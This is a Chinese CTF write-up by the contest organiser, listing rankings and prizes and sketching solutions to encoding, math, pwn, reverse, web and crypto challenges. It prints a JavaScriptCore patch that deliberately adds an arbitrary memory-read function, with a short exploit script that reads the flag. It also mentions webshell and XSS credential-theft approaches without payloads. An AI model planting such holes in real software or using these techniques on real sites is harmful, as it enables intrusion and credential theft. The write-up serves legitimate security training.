Jack’s 2023 New Year CTF WriteUp

排名及奖金如下:

排名及用户名 分数 奖金数额 领取状态
1 bml 456 84.56 Y
2 xtex 415 39.15 Y
3 QY 396 38.96 Y
4 Yuzhen 366 19.66 Y
5 FlyingSky 366 18.66 Y
6 undefined 296 8.96 Y
7 morty 296 7.96
8 predit 215 7.15
9 ricky8955555 166 6.66 Y
10 Sakii 67 5.67

Programming

A+B Problem

请参考去年的WriteUp[1]。

Encoding

base2

二进制转ASCII。

兽音译者

直接用[2]解码即可。

base{2^{6~4}}

按照Base64,Base32,Base16的方式依次解码即可。

Math

Euler

计算1046773254920148904775273163043^{2^{82589933}}(\bmod 2^{82589933}-1)

p = 2^{82589933}-1p是素数。

a = 1046773254920148904775273163043a是素数。

根据欧拉定理,当n, a都为正整数且互素时,有a^{\phi(n)} \equiv 1 (\bmod n)

p为素数时,\phi (p) = p-1

则有
a^{p+1} \equiv a^{p-1+2} \equiv a^{\phi(p)+2} \equiv a^{2} (\bmod p)

Order

计算:
3^{(2^{82589933}-2) \times 464808334276175608222914454469 + 10}
(\bmod (2^{82589933}-1) \times 929616668552351216445828908939))

p_1 = 2^{82589933}-1, p_2 = 929616668552351216445828908939。它们都是素数。

原式可化为
3^{(p_1 – 1) \times \frac{p_2 – 1}{2} + 10} (\bmod p_1 p_2)

可知 ord_{p_2}(3) = \frac{p_2 – 1}{2}ord_{p_1}(3) | \phi(p_1) = p_1 – 1

又有如下定理:

m, n都是大于1的整数,且(a,m) = 1, (m,n) = 1时,ord_{mn}(a) = [ord_{m}(a), ord_{n}(a)]


3^{(p_1 – 1) \times \frac{p_2 – 1}{2}} \equiv 3^{ord_{p_1}(3) \times k ord_{p_2}(3)} \equiv 3^{k \times ord_{p_1 p_2}(3)} \equiv (3^{ord_{p_1 p_2}(3)})^{k} \equiv 1 (\bmod p_1 p_2)

故原式为 3^{10}

Pwn

jsc_builtin

参考[3]。

read("flag")

jsc_ar

jsc_ar.patch:

diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index 897f095f6335..422e366c63ea 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -83,6 +83,9 @@
 #include <string.h>
 #include <sys/stat.h>
 #include <sys/types.h>
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
 #include <type_traits>
 #include <wtf/CPUTime.h>
 #include <wtf/FileSystem.h>
@@ -294,6 +297,7 @@ static JSC_DECLARE_HOST_FUNCTION(functionMemoryUsageStatistics);
 static JSC_DECLARE_HOST_FUNCTION(functionCreateMemoryFootprint);
 static JSC_DECLARE_HOST_FUNCTION(functionResetMemoryPeak);
 static JSC_DECLARE_HOST_FUNCTION(functionAddressOf);
+static JSC_DECLARE_HOST_FUNCTION(functionArbitraryRead);
 static JSC_DECLARE_HOST_FUNCTION(functionVersion);
 static JSC_DECLARE_HOST_FUNCTION(functionRun);
 static JSC_DECLARE_HOST_FUNCTION(functionRunString);
@@ -542,18 +546,19 @@ private:
         addFunction(vm, "MemoryFootprint"_s, functionCreateMemoryFootprint, 0);
         addFunction(vm, "resetMemoryPeak"_s, functionResetMemoryPeak, 0);
         addFunction(vm, "addressOf"_s, functionAddressOf, 1);
+        addFunction(vm, "arbitraryRead"_s, functionArbitraryRead, 1);
         addFunction(vm, "version"_s, functionVersion, 1);
         addFunction(vm, "run"_s, functionRun, 1);
         addFunction(vm, "runString"_s, functionRunString, 1);
         addFunction(vm, "load"_s, functionLoad, 1);
         addFunction(vm, "loadString"_s, functionLoadString, 1);
-        addFunction(vm, "readFile"_s, functionReadFile, 2);
-        addFunction(vm, "read"_s, functionReadFile, 2);
+        //addFunction(vm, "readFile"_s, functionReadFile, 2);
+        //addFunction(vm, "read"_s, functionReadFile, 2);
         addFunction(vm, "checkSyntax"_s, functionCheckSyntax, 1);
         addFunction(vm, "sleepSeconds"_s, functionSleepSeconds, 1);
         addFunction(vm, "jscStack"_s, functionJSCStack, 1);
-        addFunction(vm, "openFile"_s, functionOpenFile, 1);
-        addFunction(vm, "readline"_s, functionReadline, 0);
+        //addFunction(vm, "openFile"_s, functionOpenFile, 1);
+        //addFunction(vm, "readline"_s, functionReadline, 0);
         addFunction(vm, "preciseTime"_s, functionPreciseTime, 0);
         addFunction(vm, "neverInlineFunction"_s, functionNeverInlineFunction, 1);
         addFunction(vm, "noInline"_s, functionNeverInlineFunction, 1);
@@ -701,6 +706,10 @@ private:
                 this->putDirectCustomAccessor(vm, identifier, custom, PropertyAttribute::DontEnum | PropertyAttribute::DontDelete | PropertyAttribute::CustomValue);
             }
         }
+
+        int fd = open("flag", O_RDONLY);
+        mmap((void *) 0x100000000000, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
+        close(fd);
     }

 public:
@@ -1512,6 +1521,16 @@ JSC_DEFINE_HOST_FUNCTION(functionAddressOf, (JSGlobalObject*, CallFrame* callFra
     return returnValue;
 }

+JSC_DEFINE_HOST_FUNCTION(functionArbitraryRead, (JSGlobalObject* globalObject, CallFrame* callFrame))
+{
+    if (callFrame->argumentCount() == 1) {
+        JSValue target = callFrame->uncheckedArgument(0);
+        return JSValue::encode(JSBigInt::createFrom(globalObject, *(uint64_t *)JSBigInt::toBigUInt64(target.asHeapBigInt())));
+    }
+    return JSValue::encode(jsUndefined());
+}
+
+
 JSC_DEFINE_HOST_FUNCTION(functionVersion, (JSGlobalObject*, CallFrame*))
 {
     // We need this function for compatibility with the Mozilla JS tests but for now

Exp:

let hexFlag = "";
for (let i = 0n; i < 0x1000n; i += 0x8n) {
    let hexFlippedStr = arbitraryRead(0x100000000000n + i).toString(16);
    let hexStr = "";
    for (let j = hexFlippedStr.length - 2; j >= 0 ; j -= 2) {
        hexStr += hexFlippedStr.slice(j, j + 2);
    }
    hexFlag += hexStr;
}
let flag = "";
for (let i = 0; i < hexFlag.length; i += 2) {
    flag += String.fromCharCode("0x" + hexFlag.slice(i, i+2));
}
print(flag);

Reverse

easy_rust

懒得出题了。直接把flag转成全角的扔到程序的数据段了。结果还被rustc给死代码消除掉了。让大家都找不到。后来在同学们提醒之下赶紧改掉了。。

Web

OneLine

一句话木马。

I’m administrator

XSS拿管理员的用户名和口令登入查看flag。

Crypto

ElGamal

爆破。我密码学学的也不咋地。这题出出来就是为了让大家爆破的。

参考资料

后续更新一些靠前同学们的WriteUp,写的肯定比我好多了。

[1] https://renjikai.com/jacks-2022-new-year-ctf-writeup/
[2] http://hi.pcmoe.net/roar.html
[3] https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/jsc.cpp#L566

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注